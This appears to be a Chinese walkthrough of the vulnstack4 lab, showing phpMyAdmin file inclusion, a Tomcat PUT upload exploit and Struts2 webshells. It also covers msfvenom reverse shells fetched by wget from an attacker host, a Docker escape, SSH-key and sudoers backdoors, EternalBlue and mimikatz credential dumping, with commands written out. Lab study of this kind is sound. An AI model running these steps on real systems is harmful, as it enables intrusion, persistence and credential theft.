紅日靶場 vulnstack4


 
        

環境搭建

http://vulnstack.qiyuanxuetang.net/vuln/detail/6/

ubuntu上可以再啟動一下docker

docker start ec 17 09 bb da 3d ab ad

靶機信息

ubuntu:ubuntu 域成員機器 douser:Dotest123 DC:administrator:Test2008 ——>NStest2008 web:192.168.183.129  192.168.255.132
(這里環境配置的時候剛開始沒用NAT,直接對183進行操作了,應該是對NAT的外網IP進行訪問) 域成員:192.168.183.128 windows7 域控:192.168.183.130 DC

信息收集

用nmap掃描一下開放端口

 這里是掃到2001 2002 2003這三個端口

圖片找不到了

 

 

web頁面打點

 

phpadmin CVE-2018-12613 

先看看第一個phpadmin頁面

進來是一個不需要密碼的phpadmin,看到版本是4.8.1

 

 

該版本存在文件包含漏洞,影響4.8.0和4.8.1

來看看存在包含的位置

if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

 

對於target傳入參數做了一些判斷

1需要是字符串,2正則匹配不能是index開頭

3不在$target_blacklist 黑名單里面 

$target_blacklist = array (
    'import.php', 'export.php'
);

 

4Core類的checkPageValidity方法判斷為True

    public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }
      #這里的$page需要在白名單內
$_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page);
    #有一次url解碼
$_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } return false; }

 

我們想要返回一個True就能bypass了

來一個個的看

第一個if  $whitelist為空就把$goto_whitelist給賦值過去

 

 

第二個if 判斷是否為字符串,可以過

第三個if 判斷$_page是否在白名單,顯然不在

第四個if 進行了一個mb_substr()函數的執行

這個函數是用於查找前面的字符串中對應后面字符串所出現的第一個位置

下面這個就是表示取到?第一個出現的位置 然后,在從頭開始取到?前面

也就是相當於一個取?前面的部分賦值給$_page,然后判斷是否在白名單里面 是就返回True

 

 

 

 

那么我們構造target參數前面是在白名單里面的而后面接上?和../../../就能目錄遍歷了(在linux服務器)

 

 

再來看看最后一個if 進行了一次url解碼,這個是windows服務器bypass的關鍵

因為windows對於文件名有規范

 

 

所以直接寫?就報錯,這里有一次url解碼加上服務器收到數據后有一次解碼

所以把?url編碼兩次就可以bypass

 

 

 

獲取文件包含的payload后繼續來看這里有個test數據庫可以任意操作

寫一張rce表,插入phpinfo

 

 

然后F12控制台找到phpadmin的緩存里面記錄了我們的這條信息,需要找到這個緩存的路徑

一般是在

tmp/sess_
payload:http://192.168.183.129:2003/index.php?target=db_datadict.php?../../../../../../../../../tmp/sess_d5033046432999c63181cc5b1716ca78

 

 

接下來直接寫一句話木馬連接就可以了

 

 

Tomcat 8.5.19 CVE-2017-12617

訪問得到一個tomcat頁面

 

 

ok看到了他的版本號可以直接去漏洞庫里面找一下

這里用一個kali自帶的工具 searchsploit 去查找本地的exploit-db庫

查找漏洞
searchsploit tomcat 8.5.19
通過路徑下載到當前目錄
searchsploit -m /jsp/webapps/42966.py

 

 

然后直接poc跑一下

 

 

驗證成功存在上傳漏洞

 

 

直接可以用payload來攻擊

python3 42966.py -u http://192.168.183.129:2002 -p pwn

 

 

這里得到一個shell,可以通過msf生成linux木馬來上線msf

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.255.128 LPORT=7869 -f elf > msf_shell.elf

 

 

然后掛載這個msf_shell.elf文件到web,用獲取到的shell去下載,在chmod 權限去執行

wget http://192.168.255.128/msf_shell.elf

chmod 777 msf_shell.elf

./msf_shell.elf

 

在用msf接收就可以上線了

set payload linux/x86/meterpreter/reverse_tcppayload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.255.128
set lport 7869
run

 

但是我這里這個ubuntu的web靶機不知道為什么網絡不可達了,反彈shell和這種木馬上線都不行了

不能網絡訪問到我的攻擊機了,一般情況應該是可以的,這里由於未知的網絡問題就不演示了。T_T

 

 

Struct 2漏洞

 

這里訪問得到的是一個struct 2框架的頁面

 

 

直接上工具干一波,檢測出來有漏洞

 

 

嘗試執行一下,返回了異常報錯

 

 

其實我覺得應該就是之前提到的網絡問題導致這樣的,正常的應該是可以的,這里就不繼續驗證了

 

 

換了一個版本的工具再來試試 可以成功執行了

 

 

上傳木馬顯示失敗,但是去訪問發現已經上傳成功了

 

 

 

 

然后小馬托大馬或者直接傳大馬

 

 

直接冰蠍可以連接上來

 

 

 

 

 

利用Tomcat上傳冰蠍馬上線

這個漏洞因為是上傳,我們上傳冰蠍馬

這里直接把get改成PUT方法來上傳就可以了

 

然后冰蠍連接 

 

docker逃逸

進來發現是一個docker,這里嘗試逃逸,特權模式啟動的 可以mout掛載目錄獲得讀取權限

 

 

掛載目錄
fdisk -l 查看掛載目錄
mkdir runout

 

 掛載本地目錄到主機

mount /dev/sda1 runout

 

然后就可以帶上runout目錄去執行訪問了

 

前面說了反彈shell和木馬上線由於網絡都不行了,所以這里用寫ssh密鑰

 

寫入密鑰連接ssh

 

生成公鑰和私鑰

ssh-keygen -t rsa  

 

 

 

寫入公鑰時候 路徑不能用~,不然會找不到,直接寫就是了

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD7WiRj9NWLuko6ez9d2dyLyr7I8SPHFKKIPOeuT8iJdVc76MF1i8dZKGnxm+yyHbU/gnQ64FkOmgH35UQW814CR6nGM5EsmhExRG9uPsV3aWCkZICRyzRZQ2VnTFjw9ZQAvjY+1YaaXDZ15HGBep/DIokpcpIjjfKER2F3aD5kKa7uVbpi7MRlVhSuXrPeke5yiXtd3l6OtEd+BG+x+MlOyXUt/tkiENoR762twa5o2P78AOBYhiyGaaLxznnbL5KfuyC/ZQuB/Z/aWIqwCGt3ZsBh2iBGBEpoXEAsdRzTwPHbuYV2EZQce1du47KLDrP6vsXV2+9k2SChmZJjgSQE9CR48GQ6BXROoM7eGdW+dCiz3XaMdA7BiK9P57SLt77obulRfWroSSXPD0NtjUQh/9g8yK3RTlpxA+CTaIuTEcQgfwxUNDkKu6t13Jl0T4/F5nfnDhEAlz0WDAb87yekfHRsUGENXD2YRg/WRXbwdJzgTnvNb3YtD+d51Tv50Fs= root@kali' 
>> runout/home/ubuntu/.ssh/authorized_keys

對比

 

 

寫~會找不到!!因為這是一個jsp木馬 冰蠍連接的,只是能rce並不是一個真正的shell,所以路徑要注意直接寫絕對路徑

寫入成功之后就可以直接用密鑰來免密連接了

ssh username@IP

 

 

得保證  authorized_keys文件有600的權限也就是 root的 rw 權限

 

 

ubuntu提權姿勢,普通的用戶無法直接su root操作受限制

可以值/etc/sudoers文件里面加入一條語句,使得可以su 切換root

echo 'UBUNTU ALL=(ALL:ALL) ALL' >> runout/etc/sudoers

 

 

這里輸入ubuntu的密碼就可以了切換到root了

不知道密碼怎么辦,我們應該可以通過寫入/ect/passwd 和/etc/shadow來直接創建出我們已知的用戶

這樣也可以來提權不過我寫入進去沒有得到用戶。而且這種操作留下痕跡也明顯

。。。。。

或者試試linux的一些提權漏洞

sudo su root

 

 

然后這里除了寫ssh密鑰應該也是可以反彈shell的,

反彈shell姿勢有很多,傳到定時任務目錄,或者直接寫到機器執行

上線msf等等

我試了很多次都是這樣的結果

連不上!連不上!

 

他說網絡連接不可達

 

 就算我直接訪問VPS也是訪問不了,可能是網絡哪里出問題了這個web靶機。

裂開來 上不了msf  不能彈shell  真的難受

 

 

 內網橫向

然后win7登錄給我來個這種,由於域還不是很懂,不敢取亂配置,導致我無法登錄上去了

 

 

因為我kali和三台靶機是一個虛擬機網段,所以能直接訪問到

這里就直接用永恆之藍探測攻擊win7了 沒法代理信息收集了

use windows/smb/ms17_010_eternalblue

set payload windows/x64/meterpreter/bind_tcp

set rhost 192.168.183.128
show options
run

 

如果沒有打出來可以多run幾次

 

這里攻擊成功

 

 

 彈回一個shell

 

這里出現中文亂碼,很不方便信息收集

可以直接設置改變編碼

chcp 65001

 

這台win7打進去后我們用meterpreter遷移進程,目的是從x86遷移到x64里面

getpid
ps

 

 

這里遷移到了460進程里面,有些進不去就換其他的進程多試試

migrate 460

 

 可以傳一個mimikatz上去,這台win7桌面上就有就不傳了

 

然后mimikatz試着抓密碼出現權限不夠的這種情況

可以嘗試用着兩條命令來提高權限試試

use incognito 
impersonate_token "NT AUTHORITY\SYSTEM"

 

 

 然后抓取密碼

privilege::debug
sekurlsa::logonpasswords
直接獲取內存口令

 

 

這里我的win7前面就提到出了點問題 ,先暫時到這里

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM